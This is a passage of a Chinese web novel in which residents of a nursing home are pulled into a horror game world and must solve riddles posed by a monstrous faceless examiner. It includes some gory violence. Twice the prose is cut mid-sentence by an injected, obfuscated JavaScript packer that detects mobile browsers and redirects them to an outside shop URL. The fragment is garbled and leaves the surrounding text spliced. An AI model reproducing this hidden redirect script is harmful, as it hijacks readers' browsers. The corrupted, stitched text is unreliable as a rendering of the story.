《我们养老院又穿越了》 1. 第tan45°章 阳光从窗户斜照进来,干净透亮,落在教室的黑板上,上面用粉笔写着几行字: 光明中学教师招聘考试 考场规则: ①完全服从考官安排。 ②严禁损坏或带走考场内的物品。 ③考试结束方可离开,且须在10分钟内离开。 讲台下,五十多套课桌椅排得整整齐齐,每张桌上都摆放着一只笔和一张试卷,试卷上印着一道题目。 可五十多个人坐在座位上,却没有一个在答题的。 他们有人脸色惨白,嘴唇颤动。有人额头沁出细密的汗珠,顺着脸颊往下淌。 他们的眼睛全都盯着同一个方向:黑板前面,不到一米的地方。 那里悬着两行字。 就这么凭空浮着,没有任何倚靠。 【欢迎来到错纬空间,完成纬令即可离开】 【本次纬令:拿到光明中学的教师聘用合同】 “是错纬!我们掉进错纬空间!!” 一声惊叫划破教室的死寂。 “完蛋了完蛋了!死定了!这次死定了!”一个男的从座位上弹起来,整个人都在抖。 边上的女人脸白得像纸,哆嗦得话都说不利索:“不可能……我刚才明明在过马路……怎么会突然在错纬里……” 后排又站起来一个胖子,他双眼发红:“我上周才从错纬出去,怎么又进来了?!” 他站起来的时候,半个身子都在响,是金属关节摩擦发出的声音。他的双手都是金属义肢,连双腿都是。 那些义肢一看就是便宜货,合金外壳上好几道划痕,有些地方甚至漆都掉了。 “不行,我得出去!这鬼地方我一秒都待不下去!” 胖子直接冲到门口,一把抓住门把手往下拧,但拧不动。换成两只手一起拧,还是拧不动。 他开始踹门,那条金属腿踹上去,哐哐哐的。连门框都在震,但那扇木门就是纹丝不动,仿佛像是浇筑在墙里一样。 胖子喘着粗气退后两步,他扫了一眼四周,目光定在边上的椅子上。 那椅子腿是金属材质的。 他抄起椅子,举过头顶,对准门把手狠狠地砸下去:“我就不信砸不开你!” 就在这时,一只手从旁边伸过来,一把攥住他的手腕。 那只手很有力。 明明是肉长的原生手,青筋都没暴,却硬生生拦住了他的金属手臂。 胖子一愣,扭头,对上一头红发。 很红的红发。 是恨不得告诉全世界我染头发了的那种红。 染着这头红发的是个年轻男孩,看起来也就十八九岁,长得挺阳光。但此刻他脸上的表情急得要命,五官都快挤到一块儿去了。 “大哥,别砸!”他喊道,“砸了会死人!” “你放屁!你个小屁孩懂个屁?待在这儿才真的是会死人!” 胖子两眼发红,直接把左臂怼到少年眼前。金属和肉的接缝处泛着血色,一看就是刚装的义肢,肉都还没长好。 “看见没?我的双手双脚,全是在上次错纬里断的!” “一百多个人进去,就活了我一个!我爬出来的时候血都快流干了!” 他用右手狠狠砸了砸左臂的金属,发出梆梆的脆响:“现在换上这破义肢,天天磨得骨头疼!我苟延残喘活到今天,不是为了再进来送死的!” 红发少年正要开口说什么。 “纪燃,撒手。” 一个声音打断了他。 那声音从教室后面传来,不紧不慢的,带着点懒洋洋的味儿。 纪燃愣了下,回头看。 最后一排靠窗的位置,坐着一个年轻女人。黑色长发散落肩头,后背懒懒地靠着椅背。 阳光正好落在她脸上,天生一双笑眼,看上去很温柔。但那双笑眼里,却没什么温度。 “好言难劝该死的鬼,他想死就让他死,”她淡淡道,“你管那么多干什么?” 纪燃眉头拧起来。 “沈笑白,你以为我想管这破事?” 他朝黑板的方向扬了扬下巴:“你没看到考场规则第二条写的什么吗?” 刚才大家太紧张,没人顾得上看黑板。现在闻言,所有人齐刷刷扭头望去,看向黑板。 考场规则第二条:严禁损坏或带走考场内的物品。 “门也是考场内的物品,”纪燃指着那个胖子,“他砸了门,就是触犯规则。” “他自己犯规,死了也就算了,万一连累我们全死了怎么办?” 沈笑白闻言笑了一下。 纪燃皱眉:“你笑屁啊。” “笑你瞎着急。” 沈笑白解释道,“按照错纬的规则,只要没写明连坐,那个人犯错就不会影响到集体,惩罚只针对违规者本人。” “你只需要管好自己,完成纬令,拿到教师聘用合同,就可以离开。” 纪燃哦了一声:“不早说。” 然后直接松手。 松得那叫一个快。 “哎哎哎!” 胖子猝不及防,椅子往下一沉,他整个人往前一栽,差点一头撞在门板上。 他踉跄几步才站稳,回头正要开骂,却发现纪燃已经退出一米开外。两只手往裤兜里一插,松松垮垮的,一副等着看好戏的样子。 “现在没事了,你砸吧。”纪燃笑眯眯道,甚至还朝他做了个请的手势。 胖子没敢动。 刚才是自己太紧张了,根本没注意到黑板上的字,现在看到了,哪里还敢砸啊? 在错纬里触犯规则,那就直接是个死。 纪燃等了两秒。 “怎么?”他笑了,“怕了?” “刚才不是挺能的吗?说我是小屁孩,说我懂个屁,现在怎么怂了?” 胖子被怼的说不出话,脸上开始发红。 “啊、我知道了,是不是嫌椅子不够沉?砸不开门?” 纪燃往教室中间一指,一脸热情,“桌子要不要?我帮你扛过来,那个砸起来过瘾,肯定能砸开。” 他甚至还往前走了半步,作势要去搬。 胖子的脸彻底涨红:“臭小子你说两句得了,别太过分!” 他攥紧拳头就要冲上去。 可刚迈出一步,后背突然被什么东西顶了一下,整个人往前一个趔趄。 “谁推我?!”胖子火冒三丈地回头,刚要骂人,却愣在原地。 没人推他。 是门推的。 就是刚才那扇被他踹了十几脚,纹丝不动的门。 现在,它自己开了。 胖子和纪燃同时往后退了几步。其他人也瞬间屏住呼吸,几十道目光齐刷刷钉在门口。 吱呀一声。 门被彻底推开。 一只脚迈了进来。 皮鞋锃亮。 然后是裤腿,裤线笔挺。再往上,是平整的西装,领带系得一丝不苟,是勒紧脖子的那种系法。 接着,他们看见了那张脸。 空的。 没有眼睛,没有鼻子,没有嘴,像一团还没捏出五官的泥胚,只有头顶那截利落的短发提醒着大家,这确实是一颗头。 “啊!他怎么没有脸?!”有人尖叫出声。 “这、这什么鬼东西!!”有人直接腿软倒在地上,“救命!救命啊!!” 那张空白的脸上,什么都没有。只有正中央,写着两个黑字。 考官。 这两个字不是刻的,不是贴的,像是从皮肤里往外渗出来的墨迹。 而那张光滑的脸皮下面,似乎还有东西在动。 很慢。 一拱一拱的。 从左滑到右,像有什么活物在里面爬,随时会顶破那层薄皮冲出来。 无脸人继续往前走,他没有看任何人。他也没有眼睛可看。 皮鞋踩在地板上,发出哒哒哒的响声。 他穿过过道,径直走上讲台,转身,面朝所有人。 然后,他的腹部鼓了起来。 “考试要开始了。” 声音是从他肚子里传出来,闷闷的,像有张嘴在他肚子里说话一样。 “你们是要弃考么?” 明明他没有五官,看不到任何表情,但所有人都感觉到了。 他在生气。 没有表情,但却比有表情更可怕。这种压迫感像一堵墙一样,从讲台上方压下来。 大家瞬间想到了考场规则第一条:必须完全服从考官安排。 “快!快坐回到位子上去!” 不知是谁喊了一声,声音慌得不成样子。 紧接着,杂乱的脚步声,惊呼声,还有慌乱之下,撞在一起的闷响声,教室里瞬间乱成一锅粥。 但也就几秒钟的时间。 所有人都坐回了原位,一切如常,就像刚才那场慌乱,从未发生过一样。 纪燃也坐回了他原来的位置:沈笑白的前排。 可屁股刚挨着椅子,椅子就被踢了一脚。 他回头。 沈笑白正看着他,嘴角挂着点弧度,但眼睛里没什么笑意。 “开始了,”她低声说,“别掉链子。” 纪燃认真地点了点头。收起刚才那副嬉皮笑脸的样子,然后转了回去。 沈笑白也收起了嘴角那点弧度。她坐直身体,目光越过纪燃的后脑勺,落在讲台上。 她整个人紧绷成一根弦,蓄势待发。全神贯注地盯着无脸人的一举一动。 讲台上,无脸人正俯视着下面。他虽然没有眼睛,但沈笑白知道他在看,看大家有没有坐好,看有没有人违反规则,看得人后背直发凉。 片刻后,无脸人点了点头。然后直起身,双手背在身后,肚子里的声音闷闷地传出来。 “我是本次光明中学教师招聘考试的考官。” “本场考试是笔试,一共三道题。由我出题,由我批阅,当场打分。” 考官抬起一只手,指向一直放在课桌上的那张纸:“你们桌子上的是答题纸。一旦写下,不可涂改,请确认后再落笔。都听懂了吗?” “听懂了!” “听懂了听懂了!” 讲台下的声音此起彼伏,急切得像抢答,生怕回得慢了就再也出不去了。 沈笑白没出声。 她只是坐在那里,盯着考官的一举一动。错纬里没有多余的细节,每个信息都可能是破局的关键。 考官:“那现在,笔试正式开始,请在纸上写下第一题的答案。” 所有人低下头,开始答题。翻卷子的窸窣声,从四面八方响起。 沈笑白也低头,看向桌上的那张试卷。 这是一张白色的,很普通的卷子,没有任何特别的地方,上面印着一道题目。 6÷6=? 答案:__ 题目很简单。 简单到让人觉得荒谬。 连小学生都知道,6÷6=1。 但是错纬里面,会出现这么简单的送分题吗? 沈笑白盯着这张纸,眉头一点点拧起来。 她现在的状态和刚才完全不一样。 刚才考官没来,错纬还没正式开始,她还能靠在椅背上,慢悠悠地看着满教室的人上蹿下跳,就像看戏一样。 但那是刚才了。 现在,正式开始了。 在错纬里,走错一步,直接就是死。 她攥着笔,指节泛白,不敢轻易下笔。考官说了,答案写上去就不能改。 得想想。 得再想想。 “差点忘了。” 考官突然出声。 所有人都抬头看。 只见考官从讲台底下拿出一个东西,放到台面上,然后调转方向,正对着所有人。 那是一个时钟。 黑色的外壳,红色的数字,正在一下下跳动。 倒计时。 43秒、42秒、41秒…… 考官:“你们的答题时间只有一分钟,现在已经过去了17秒。超时者,会判定为不及格噢。” 所有人脸色瞬间都变了。 只有一分钟? 开始这么久,现在才说有时间限制?!怎么不干脆等结束了再说?! 底下有人张了张嘴,像是想骂什么,但声音卡在喉咙里,憋了半天都挤不出来。 大家不是不想骂,是不敢,更是没时间了。 35秒、34秒、33秒…… 倒计时每跳一下,大家的心就跟着抽一下。那数字像催命符一样,逼着他们抓紧动笔。 前排有个男的率先坐不住了。 他的后背已经湿了一大片,布料洇成了深色,紧贴着皮肤,他抓起笔,在纸上飞快划了一下。 他立刻举起手:“考官,我交卷!” 没等考官回应,他已经站起来,抓起卷子,三步并作两步冲向讲台,生怕慢一秒就会超时。 考官接过卷子。 那张空白的脸低下去,冲着试卷的方向,像是在审视答案。 “你的答案是1?”考官问。 “对。”男人狠狠点头。 考官也点了点头:“很好。” 男人顿时松了一口气,整个人都软了下来,脸上甚至浮出了笑容,那是劫后余生的笑。 但这笑容才刚绽开一半。 “回答错误。”考官说。 男人整个人僵住了。 “什么?!”他惊叫出声,“这不可能!答案就是1!6÷6就是等于1啊!” 回应他的不是考官的解释,而是一阵刺耳的电流声。 因为教室里的广播突然响了。 【考生23号,回答错误,笔试不及格】 【光明中学,只收精英,不合格品,就地销毁】 广播刚停,考官的脸皮突然从中间裂开,一张嘴从里面猛地冲了出来! 那不是普通的人嘴。 是像野兽一样的血盆大口。 两排尖牙密密麻麻往外翻,牙缝里淌着黏稠的液体,正往下滴。 “啊!!”男人立刻转身,往讲台下逃命。 可刚跑出没几步。 咔嚓一声。 男人的上半身没了。 那张血盆大口一口咬下来,男人的上半身直接被吞了进去。连带着他旁边那张课桌,也被咬掉了半截。 血液掺杂着木屑飞溅了出去,溅在讲台上,溅在白色墙壁上,溅在前排的几个人身上。 男人的下半身在原地晃了晃,往前一栽,倒在了地上,断口处往外冒血,咕咚咕咚的。 而那张嘴看起来像是吃够了,它慢慢缩了回去,缩回考官那张破开的脸皮里。 很快,考官又变回那张空白的脸,光滑如初,没有任何裂痕,好像从来没有被撕开过一样。 但脸皮底下的嘴还在蠕动。 它在嚼。 它在细细品味刚才那个身体。 教室里所有人都听见了那种声音。 骨头被咬碎的声音,脆的。 肉被嚼烂的声音,黏的。 一下,一下。 然后咕噜一声。 被咽下去了。 然后。 “6÷6不是等于1吗?怎么会错啊?呜呜呜……” “考官肯定是故意的!他压根没想让我们过,就是想找借口吃掉我们!” “没错!肯定是这样!” “完了完了……这次死定了……谁都出不去了呜呜……” 崩溃的哭喊声从四面八方响起。那些本来还想下笔写答案的人,听到这些声音,都不敢动笔了。 纪燃也忍不住紧张起来。 打架他在行,解题这块他是真的不行,他盯着试卷上那道题,大脑一片雾水,什么也想不出来。 他侧过头,问后座的沈笑白:“写什么啊?答案是什么啊?” 沈笑白没回答对方。因为她也没搞懂,答案为什么不是一? 这个算式不可能有其他的解法。难道这不是算术题?是脑筋急转弯?还是什么别的? 沈笑白紧盯着那张纸,眉头越皱越紧。 6÷6=? 答案:__ 等等。 她呼吸一滞。 为什么答案要另起一行,写在第二行?按理说,答案直接写在6÷6=的后面就行了。 这不正常。 除非…… “6÷6根本就不是题目,所以答案才要另起一行写。”沈笑白喃喃道,像是在回答纪燃,又像是在给自己理清思路。 纪燃没听懂:“什么意思?” 沈笑白没看他,视线还钉在那张纸上:“考官并没有说过,这张纸上写着的是题目。” 他说的原话是: 【你们桌子上的是答题纸】 “答题纸上出现的,只能是答案,不会是题目。” 沈笑白终于明白了。 纪燃却还懵着:“那真正的题目在哪儿?” 沈笑白没有回答他。 她直接拿起笔,在纸上写下答案。 “喂!”纪燃急了,压着嗓子提醒,“你想好了再写啊!写了就不能改了!” 沈笑白还是没理他。 最后一笔落下,她放下笔,站起来,径直走向讲台。 经过地上那滩血泊时,她步子顿了一下,绕了个弯。确保自己鞋底干净,没沾到任何东西。然后走到讲台前,站定。 沈笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528258|203618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白:“我交卷。” 考官接过那张答题纸。空白的脸低下去,审视起上面的答案。 从这个角度,沈笑白能看见他皮肤下面,刚刚才消停下去的那张嘴,又开始蠕动了。 它在兴奋。 那张嘴越动越快,皮肤被顶起一个又一个凸起,像是迫不及待要钻出来。 然后,考官的头慢慢抬起来。从腹腔深处,传出一声叹息。 闷闷的。 听起来很失望的样子。 “回答正确。”考官不高兴道,“回去坐着。” 考官这几个字,把底下的人全听傻了。 还真的有人答对了? 他们刚才眼睁睁看着前面那个男被判答错,被咬掉身体,都以为考官是故意刁难,今天谁也活不了,每个人都做好了死的准备。 结果沈笑白答对了。 她活下来了。 一群人目瞪口呆地看着她从讲台走下来,看着她穿过过道,看着她坐回位子。 然后才猛然回过神来。 答案! 忘记问她的答案是什么了! 好几个人同时伸长脖子,张嘴想问,可话还没问出口。 “你写的是什么?!”纪燃已经先他们一步,问了出来。 沈笑白:“听懂了。” “听懂了?”纪燃皱眉,表示不理解,“答案怎么会是这个?” 沈笑白往后靠了靠,扫了眼那群伸长脖子,光明正大偷听的人,然后笑了下。 “考官不是说了么,笔试由他出题。” “而教室里所有的东西,黑板桌椅,包括这张答题纸,都是在他来之前就有的,上面自然不会有他出的题目。” “只有他出现之后产生的问题,才是他给的题目。” “而考官从进来到现在,只问过一个问题。” 纪燃脑子里飞快地过了一遍刚才的场景。从考官推门进来,到宣布规则,说考试开始,最后定格在他说的那句话上。 【你们桌子上的是答题纸。一旦写下,即不可涂改。请确认后再落笔】 【都听懂了吗?】 纪燃瞬间明白了。 这才是第一题的题目。 当时所有人只顾着争先恐后地喊听懂了,却谁也没想起,要把答案写在纸上。 现在倒计时还剩6秒。 纪燃一把抓起笔,在那张答题纸上写下三个字,然后几步冲到讲台边,把卷子拍在考官面前。 而刚才他和沈笑白那几句对话,一字不落被剩下的人听进耳朵里。 所有人此时都明白了。 他们疯了一样抓起笔,在纸上写下那三个字。 【听懂了】 一张接一张的答卷交上去。 当最后一张落下的时候,倒计时正好归零。教室剩下的57个人,全部交卷。 考官看着手里厚厚一叠的答题纸,叹了口气。 “很遗憾”,他失望道,“第一题大家都答对了。” 话音刚落,众人纷纷松了一口气,可这口气才松了一半,考官又突然兴奋了起来:“不过没关系,我们还有第二题!” 他大手一挥。 每个人的课桌上,又重新出现了一张白纸。和刚才那张一模一样,只是这次上面只有一行字: 答案:__ 没有题目。 只有一个孤零零地横线在那里,等待着被填写。 “第二题,请听题。” 考官根本不给大家任何反应的时间,直接抛出了下一道题。 “π小数点后的第一万位数,是几?” 教室里瞬间安静了。 π? 圆周率? 小数点后的……第一万位数? “这谁记得住啊?”胖子脱口而出。 “是啊!3.1415926,我最多只能背到第八位!”旁边有人接话道,“鬼知道一万位是几啊……” “不会要我们自己算吧?”另一个声音插进来,“这要算到什么时候去啊!” 抱怨声此起彼伏,但所有人都压着嗓子说话,像课堂上偷偷说话的学生一样。 没人敢站起来喊不公,更没人敢质问考官,谁知道这些行为算不算【不服从考官安排】?算不算违规? 没人敢冒这个险。 考官的心情倒是越来越好了,他似乎很享受这一刻。 他慢悠悠地把倒计时重新归零,然后按下开始按钮。滴的一声轻响,红色的数字重新亮起来。 “倒计时1分钟,现在开始。” 59秒,58秒,57秒…… 时间一跳一跳地减少。 有人已经顾不上那么多,抓起笔就开始算。可就算用最快的马青公式来算,也要三年才能算出圆周率的第一万位数是多少。 纯靠人脑,在几十秒内算出答案? 根本不可能。 前排的胖子低头看了一眼手腕上的手环。那是他的个人终端,此刻屏幕却是黑的,怎么按都没反应。他抬手拍了拍,还是黑的。 他低声咒骂了一句:“要不是错纬里所有科技都会失效,我早用终端算出来了。” 不止是他。 纪燃现在也不知道该怎么办。 他下意识回头看向沈笑白,想从她那儿问个答案。可沈笑白也正皱着眉,盯着桌上的白纸,一动不动的。那副样子,明显也是一筹莫展。 “要不咱们蒙一个?” 纪燃凑过去,小声提议道:“0到9,十个数字,十分之一的概率,运气好就蒙对了。” “运气不好呢?”沈笑白直接打断他,拒绝了这个提议,“运气不好,就是死。” 纪燃噎住了。 “那怎么办?”他看着对方,“不蒙难道还真要自己算?这可是π的第一万位,不用终端根本算不出来。” “我知道。”沈笑白盯着面前的答题纸,笔尖悬在上面,迟迟落不下去。 她现在也是毫无头绪。 她能感觉到自己的心跳,很快,很重,一下一下的,撞在胸腔里。 冷静。 她在心里对自己说。 冷静下来。 “我们之前进了那么多次错纬,里面从没出现过,没有破解方式的死局。一次都没有。” 沈笑白再次开口,像是在对纪燃说,又像是在给自己打气。 “既然这次的题目是明确的,没有陷阱。那答案就一定在别的地方。” 她说着,目光开始移动,像扫描一样,扫过教室的每一个角落。 从卷子挪到桌面。 从桌面挪到讲台。 再到整个教室。 这间教室一共有4扇窗户,1扇门,58张课桌椅,1个讲台,1个广播用的喇叭,还有1个黑板。 黑板上方贴着校训:常倾听,守德信,育英才。 一共9个字。 黑板上写着考场规则:光明中学教师招聘考试,考场规则,①完全服从考官安排,②严禁损坏或带走考场内的物品,③考试结束方可离开,且须在10分钟内离开。 一共62个字。 4、1、58、9、62。 这些数字,会和π有什么联系吗? 她脑子里飞速过着这些信息。π是圆周率,是圆的周长和直径的比值,是无理数,是无限不循环小数……π到底和这间教室有什么联系? 等等…… 沈笑白的眼睛突然睁大了。 她知道了。 她知道答案是什么了。 π的小数点后第一万位,不是靠算的,不是靠蒙的,而是…… “纪燃——呃!”沈笑白刚准备开口说出答案,但是声音却一下子卡在了喉咙里,怎么都发不出来。 好像有什么东西正在掐着她的脖子,一点一点收紧。 她想喘气,但喘不了。 眼前开始发花。 教室的轮廓在晃,讲台在晃,纪燃的脑袋也在晃。所有的东西都像隔着一层水,荡来荡去,荡得她想吐。 “沈……醒……” 耳边突然传来一个声音。 很远。 那声音像从山谷另一头传过来的,飘飘忽忽的,听不真切。 “沈阿姨,快醒醒啊!” 又突然很近,像是贴在耳边喊的,震得她耳膜一疼。 紧接着天旋地转,整个人像被人从下面狠狠一拽,瞬间翻了个个儿。等那股眩晕感停下来的时候,眼前已经不是教室了。 取而代之的是一间卧室。 “沈阿姨!你终于醒了!” 护士高兴地喊出声,松了口气道,“你从昨天睡到现在,都睡了十二个小时了,再不醒,我们都要把你送去市医院了!” 2. 第1x2章 沈笑白躺在一张看着就不便宜的大床上。 整个人都陷在柔软的床垫里,身上盖着真丝的薄被。头顶是捷克手工吹制的水晶灯,柔和的光线碎成一片片洒下来。 她偏过头,床边站着两个人。 护士小孙和护工刘姐,都在看着她笑。 这熟悉的脸。 这熟悉的房间。 她回来了。 回到养老院里了,回到她自己60岁的身体里了。 沈笑白这才彻底放松下来,重重呼出一口气:“终于回来了。” 旁边的孙护士愣了一下。 “回来了?”她疑惑道,“沈阿姨你今天也没出去过啊?一直都在这睡觉啊。” 护工刘姐本来在旁边倒水,听到这话,像是忽然想起什么,笑着接了一句:“沈阿姨,你不会又要说自己是穿越了吧?” 沈笑白靠在床头,看了刘姐一眼,没说话。刚回来累得很,懒得搭理。 但孙护士却凑了上来,眼睛亮晶晶的。 “穿越?沈阿姨你穿越啦?” 她往前探着身子,脸上写满了好奇,“穿到哪儿了呀?是古代还是未来啊?” 到底是二十出头的小姑娘,听到这种事,比什么都来劲。 刘姐在旁边拽了她一下:“行了行了,你别闹沈阿姨,忙完了就快去下一个房间。” 孙护士甩开她的手,干脆搬了把椅子在床边坐下来,双手扒着床沿,眼巴巴地看着:“沈阿姨,你就给我讲讲嘛~我信,我真的信!” 沈笑白本来从那个世界里刚出来,精神极度疲惫,累得不想说话。但看着床边坐着的小姑娘,圆圆的脸蛋,大大的眼睛,亮晶晶的,像一只等着投喂的小狗。 她忽然有点想笑。 到底是年纪大了,见不得小孩儿眼巴巴的样子。 沈笑白笑着说了句好,抬手就去够床头柜上的手机。动作还是在那个世界时的习惯,又快又急。 “嘶。” 闪着腰了。 她眉头皱成一团,一动不敢动。 ……差点忘了。 自己现在已经是六十岁的身体。不是那个世界里能跑能跳,动作反应迅速的年轻人了。 她缓了几秒,等那阵疼劲儿过去,才慢慢呼出一口气,轻轻揉了揉。然后重新伸手去拿手机。 这回长记性了,速度慢多了。 沈笑白点开屏幕,划了几下,然后递给床边眼巴巴等着的孙护士:“自己看。” “嗯嗯!”孙护士接过手机,满眼期待地拿到眼前。 屏幕上是一个游戏介绍的网页,大大的标题写着游戏名:缝核都市。 背景图,是一个典型的赛博风城市。 摩天大楼高耸入云,霓虹灯牌层层叠叠,红的蓝的紫的闪成一片。全息广告在空中浮动,虚拟美女扭动着腰肢。磁悬浮轨道穿梭在高楼之间,飞行器从旁呼啸而过。 但再仔细看,就会发现。 这些东西,只有一半是它们自己的。 那座摩天大楼,只有半边是正常的玻璃幕墙。 另外半边,是一座长满荒草的坟头,破旧的墓碑歪斜地插在上面,被霓虹灯照得五颜六色的,活像是在坟头蹦迪。 那个全息广告里的虚拟美女,也只有半边身子在扭动。另外半边,是一团密密麻麻的肉虫,带着黏稠的液体,正在跟着美女一起蠕动。 空中的磁悬浮轨道,前半截还是正常的,后半截却变成了棺材。 一排破旧的棺材,串联在一起,悬在半空中,隐约还能看见里面的森森白骨。 高楼和坟头,美女和肉虫,轨道和棺材,这些本该毫无关系的东西,现在却硬生生长在一起。 它们像是被人强行缝合在一起的。 你甚至能看到那些连接处,还有着歪歪扭扭的黑色缝合线,像被粗针大线缝过一样。 “哇!!” 孙护士惊呼了一声。 “沈阿姨是穿越到这个游戏里面了吗?!还是个赛博游戏!好酷啊!” “什么赛博游戏?”刘姐在旁边摇了摇头,她可没听过这些东西,“你个小姑娘少玩那些乱七八糟的游戏。” 孙护士根本不理她,整个人都快趴到手机屏幕上去了。她一边看着游戏介绍,一边念念有词道: “哇塞,里面还有怪物……还要解谜逃生……是赛博求生哎!好酷啊!” 沈笑白看着她这副痴迷样子,摇了摇头。 她可不觉得酷。 自从一年前开始,沈笑白只要一睡着,就会穿越到那个游戏世界里去。 起初她没当回事,还以为就是做梦。梦里变年轻了,二十多岁的身体,能跑能跳,腿也不疼腰也不酸,多好啊。她还挺享受的。 可后来才发现不对。 那不是梦。 而且在那里面死了,现实里也会死。 从那以后她就慌了。 花了一个多月时间,戴着老花镜查资料,翻网页,一点一点琢磨,才搞明白,她是穿越进了一个叫《缝核都市》的游戏里。 这游戏讲的是未来。 科技高度发展,由于人类对地球的过度开采和建设,破坏了地下的古老封印。 那些封印原本是为了隔开不同纬度的空间,让异世界和现实世界互不干扰,各过各的。 可封印一破,那些异世界就涌进来了。它们开始和现实世界重叠、融合,就像被缝进城市里一样,出现在各个角落。 这种因纬度打破,空间错乱后形成的诡异现象,被叫做错纬空间。 而游戏里的玩家,任务就是闯进这些错纬空间,把它们一个个清理干净,还现实世界一个安宁。 “那沈阿姨,你是穿越成里面的玩家吗?”孙护士一脸兴奋地问,“现在多少级了?厉害不厉害?有没有武器?” 沈笑白摇了摇头。 “我不是玩家。” “啊?” 这个游戏是好几年前的,服务器早就停止运行了,里面并没有活人玩家。 沈笑白拿回手机,往下划了几下,点开一个页面,再次递了过去:“这个才是我。” 【路人NPC图鉴】 【编号44】 【性别:女】 【年龄:22岁】 【身份:某大学在校学生】 【备注:该NPC无任务,仅用于增加场景真实感】 “啊?是个NPC啊?”孙护士满脸遗憾道,“连个名字都没有?” 但下一秒,她突然反应过来。 “等等!沈阿姨!22岁哎!!” “你在里面才22岁!直接年轻了38岁,赚大发了哎!!” 沈笑白被她这一嗓子吼得愣了一下,然后没忍住,笑出了声。 “你这孩子还真是乐观,尽会挑好事看。”她笑着摇头,眼角的皱纹都跟着弯了起来。 孙护士还想继续往下划拉,手机却突然被人抽走了。 抬头一看,竟然是周医生。 他不知道什么时候进来的。 周医生把手机递还给沈笑白,还回去的时候还叹了口气:“沈阿姨,你是不是又忘了?” “之前和你说过,你这不是穿越,是老年痴呆。” 周医生探过身,去拿床头那瓶沈笑白天天都在吃的药,递到她眼前。 白色的药瓶,上面写着【忆立清】,用于治疗老年痴呆及相关症状。 “这病会让人产生幻觉,你经历的那些,都是脑子自己编的,不是真的。”周医生道。 沈笑白接过手机,扯了下嘴角。 她就知道会是这样。 刚穿越那会儿,她试过和身边的人说,可他们没一个信的。都觉得是她年纪大了,脑子糊涂了,分不清现实和做梦。 特别是这个周医生,非说这是老年痴呆引起的幻觉。 沈笑白确实是有点轻微的老年痴呆。有时候记不住事儿,想不起人,年纪大了,这很正常,算不上什么大病。 但穿越这件事绝不是她的幻想,那些事都是真真切切发生过的。 “行,你是医生,你说是什么就是什么。”她把手机放到枕头边,懒得再解释了。 “你们还有其他事吗?没的话可以走了,我要歇了。” 沈笑白这是不想聊了,在下逐客令。 周医生听懂了,他没再多说,转身往外走。边上的孙护士张了张嘴,还想说什么,但最后还是默默跟出去了。 门关上之前,孙护士的声音从外间的客厅里飘进来:“沈阿姨你好好休息噢,我一会儿给你拿今天的降压药来。” 沈笑白嗯了一声。 门轻轻磕上。 屋里终于安静下来。 但也就刚喘口气的工夫,门又开了。 “老沈啊!出事了出事了!” 一个老头跌跌撞撞闯进来,头发花白,梳得倒是整齐,但眼睛是红的,像是哭了很久。他进门的时候脚下踉跄了一下,要不是手上那根拐杖,这会儿已经趴地上了。 是住在隔壁1305的王大爷。 七十了,也有点轻微的痴呆,但脑子还算清楚,就是胆子小,爱哭。 沈笑白闭了闭眼。 这才刚清净没几秒,又来一个。 “我这里是菜市场吗?你们一批一批的来。” 一旁的刘姐放下手里的抹布,试探着问:“沈阿姨,要我把王大爷请出去吗?” 沈笑白看了一眼那个已经快哭出来的老头。 “……不用了。”她说,“刘姐,出去切点水果。” 刘姐点点头,识趣地退出卧室,还给他们贴心的带上了门。 王大爷跌跌撞撞走到床边,腿一软,整个人栽坐下去。他顾不上坐稳,喘着粗气开口: “出事了啊老沈!老薛刚才和我说,老张今天在游戏里死了!现在已经昏迷了!估计、估计活不了几天了……” 这是他们穿越一年得出的经验。在游戏里死亡后,现实世界就会陷入昏迷,昏迷七天,然后彻底死亡。 当初和沈笑白一起穿越到游戏里的,养老院里十几个老人,都是这样死的,无一例外。 现在还活着的,没剩几个了。 “那个游戏里那么危险,动不动就死人,谁知道什么时候就、就轮到我了……” 王大爷吸了吸鼻子,眼睛开始发红,“你说我都一把年纪了,一只脚都踩进棺材了,怎么就摊上这种倒霉事儿啊?” 说着说着,王大爷别过脸去,抬手在脸上抹了一把。 沈笑白被他弄得心里发堵:“行了行了,七十的人了,还抹眼泪,让人看见像什么话。” “我怕死哭两下还不行啊?”王大爷不服气地反驳,“你不怕?” “怕。”沈笑白说,“不怕死我们在游戏里瞎折腾什么。” 好歹一起穿越了一年多,感情摆在那儿。沈笑白叹了口气,放软语气安慰了几句。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528259|203618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你也往好处想想,我们不是已经找到能结束穿越的办法了吗?总比之前没头苍蝇一样乱撞强。” 不提还好,一提这个,王大爷脸垮得更厉害了:“你说通关游戏那个办法?那也叫办法?” 沈笑白嗯了一声。 这是他们这一年摸索出来的唯一办法。 一开始谁也不知道怎么才能停止穿越,但后来他们发现,每清除掉一个错纬空间,穿越的次数就会减少一些。 顺着这条线索,他们回去翻了游戏的介绍,这才看清上面写的那句话:清除所有错纬空间,游戏即可通关。 把两边的信息一对,大家才搞明白。只有清除所有的错纬,通关了游戏,他们才能彻底结束穿越。 但王大爷显然不觉得这是什么好办法。 “那才真是完蛋了!” 他拍了下床沿,突然激动起来,“游戏介绍上写得清清楚楚,一共有999个错纬!” “咱们折腾了一年,才清除掉十几个,这得猴年马月才能通关啊?!我都70了,还能活几年?我等得起吗我……” “不用一个个清除。” 沈笑白打断他,“我已经找到办法,能一次性清理掉全部错纬,通关游戏,结束穿越。” 王大爷呆住了。 